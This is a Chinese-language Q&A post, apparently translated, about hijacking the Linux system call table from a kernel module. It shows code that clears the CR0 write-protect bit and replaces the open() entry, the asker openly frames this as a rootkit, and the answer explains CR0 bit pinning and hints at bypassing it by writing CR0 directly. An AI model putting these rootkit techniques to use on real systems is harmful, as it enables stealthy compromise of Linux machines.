在内核版本 2.X 到 4.X 中,您可以轻松覆盖第 16 个CR0内核模块中的位:
write_cr0(read_cr0() & (~ 0x10000));
这样它就可以删除系统调用表上的写保护。然而现在,在 5.X 版本上,这似乎不会覆盖 CR0 位。如果您在使用上述技巧后尝试劫持系统调用表,
sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
write_cr0(read_cr0() & (~0x10000));
iamhere("Saving the old call..");
old_open = sys_call_table[__NR_open];
iamhere("Setting the new one..");
sys_call_table[__NR_open] = hijacked_open;
write_cr0(read_cr0() | 0x10000);
您会收到 0x0003 权限违规错误。
所以,我的问题是:新的内核模式保护措施是否已到位?如果是这样,对于 rootkit 的情况,是否还有任何可能的方法可以绕过它?
答案1
是的,自版本 5.3 起,CR0 和 CR4 中的敏感位被固定, 至少通过 write_cr0
和write_cr4
。您的代码失败,因为write_cr0
调用没有清除 WP 位。
如果您处于管理模式,您始终可以直接写入 CR0,这应该可以避免固定;但固定位将在下次write_cr?
调用时恢复。 (固定的目的是防止涉及调用这些函数的攻击。)